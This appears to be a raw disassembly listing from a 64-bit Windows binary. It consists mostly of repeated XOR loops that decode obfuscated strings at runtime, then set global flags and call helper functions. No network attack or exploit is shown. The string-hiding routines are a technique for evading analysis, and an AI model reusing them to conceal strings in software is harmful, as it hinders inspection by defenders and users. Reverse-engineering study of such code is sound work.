packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14005cb60
lea rdx, [0x14029c821]
mov rcx, r10
call fcn.140032c80
cmp byte [0x14029c821], sil
jne 0x14005cbe2
mov byte [0x14029c80e], sil
mov byte [0x14029c7e8], sil
mov byte [0x14029c7e9], sil
mov byte [0x14029c80b], sil
mov byte [0x14029c7f6], sil
mov byte [0x14029c7ef], sil
mov byte [0x14029c729], sil
jmp 0x14005d84d
movss xmm0, dword [0x1401ca5f8]
call fcn.140015cb0
lea rdx, [rsp + 0x78]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061ed0
mov r10, rax
cmp byte [rax + 0x10], sil
je 0x14005ce14
mov r8d, esi
cmp r13d, 2
jl 0x14005cdd9
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
mov r8d, reloc.WS2_32.dll_recv
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
mov r9d, r8d
add r9, r10
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x14005cde0
lea rdx, [0x14029c80e]
mov rcx, r10
call fcn.140032c80
lea rdx, [rbp + 0xb10]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061ef0
mov r10, rax
cmp byte [rax + 0xf], sil
je 0x14005d043
mov r8d, esi
cmp r13d, 2
jl 0x14005d00b
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
jmp 0x14005d043
mov r9, r10
nop
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x14005d010
lea rdx, [0x14029c7e8]
mov rcx, r10
call fcn.140032c80
lea rdx, [rbp + 0x74f]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061f00
mov r10, rax
cmp byte [rax + 0xc], sil
je 0x14005d214
mov r8d, esi
cmp r13d, 2
jl 0x14005d1d1
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14005d1e0
lea rdx, [0x14029c7e9]
mov rcx, r10
call fcn.140032c80
lea rdx, [rsp + 0x78]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061f30
mov r10, rax
cmp byte [rax + 0x10], sil
je 0x14005d454
mov r8d, esi
cmp r13d, 2
jl 0x14005d40d
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
mov r8d, reloc.WS2_32.dll_recv
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x14005d420
lea rdx, [0x14029c80b]
mov rcx, r10
call fcn.140032c80
lea rdx, [rbp + 0x676]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061f50
mov r10, rax
cmp byte [rax + 0xb], sil
je 0x14005d614
mov r8d, esi
cmp r13d, 2
jl 0x14005d5de
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
jmp 0x14005d614
mov r9, r10
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x14005d5e1
lea rdx, [0x14029c7f6]
mov rcx, r10
call fcn.140032c80
lea rdx, [rbp + 0x9fc]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061f70
mov r10, rax
cmp byte [rax + 0xd], sil
je 0x14005d7e4
mov r8d, esi
cmp r13d, 2
jl 0x14005d7a2
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x14005d7b0
lea rdx, [0x14029c7ef]
mov rcx, r10
call fcn.140032c80
lea rdx, [rbp + 0x63c]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061fa0
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14005d83e
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor byte [rax + 9], 0x3a
xor cl, 0x3b
mov byte [rax + 0xa], cl
lea rdx, [0x14029c729]
mov rcx, rax
call fcn.140032c80
call fcn.14000bbb0
movss xmm0, dword [0x1401ca670]
call fcn.140015c30
movss xmm0, dword [0x1401ca68c]
call fcn.140015c70
movss xmm1, dword [0x1401ca660]
lea rcx, [rbp + 0x338]
movaps xmm2, xmm7
call fcn.140001570
lea rdx, [rbp + 0xa35]
mov byte [rsp + 0x6f], sil
lea rcx, [rsp + 0x6f]
mov rbx, rax
call fcn.140061fd0
mov r10, rax
cmp byte [rax + 0xe], sil
je 0x14005da44
mov r8d, esi
cmp r13d, 2
jl 0x14005da05
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14005da10
xor r9d, r9d
mov r8b, 1
mov rdx, rbx
mov rcx, r10
call fcn.14000baf0
movss xmm0, dword [0x1401ca5c0]
call fcn.140015cb0
movss xmm2, dword [0x1401ca5b0]
lea rcx, [rbp + 0x340]
movaps xmm1, xmm14
call fcn.140001570
mov rcx, rax
call fcn.1400339d0
lea rdx, [rbp + 0xa26]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140061fd0
mov r10, rax
cmp byte [rax + 0xe], sil
je 0x14005dc44
mov r8d, esi
cmp r13d, 2
jl 0x14005dc01
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14005dc10
lea rdx, [0x14029c7f2]
mov rcx, r10
call fcn.140032c80
cmp byte [0x14029c7f2], sil
jne 0x14005dc6f
mov byte [0x14029c728], sil
mov byte [0x14029c823], sil
jmp 0x14005de9e
movss xmm0, dword [0x1401ca5f8]
call fcn.140015cb0
lea rdx, [rbp + 0xacb]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140062000
mov r10, rax
cmp byte [rax + 0xe], sil
je 0x14005de35
mov r8d, esi
cmp r13d, 2
jl 0x14005ddfb
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
mov r8d, ntohl
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
mov r9d, r8d
add r9, r10
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14005de01
lea rdx, [0x14029c728]
mov rcx, r10
call fcn.140032c80
lea rdx, [rbp + 0x647]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140062030
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14005de8f
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor byte [rax + 9], 0x3a
xor cl, 0x3b
mov byte [rax + 0xa], cl
lea rdx, [0x14029c823]
mov rcx, rax
call fcn.140032c80
call fcn.14000bbb0
movss xmm0, dword [0x1401ca670]
call fcn.140015c30
movss xmm0, dword [0x1401ca660]
call fcn.140015c70
movss xmm1, dword [0x1401ca660]
lea rcx, [rbp + 0x348]
movaps xmm2, xmm7
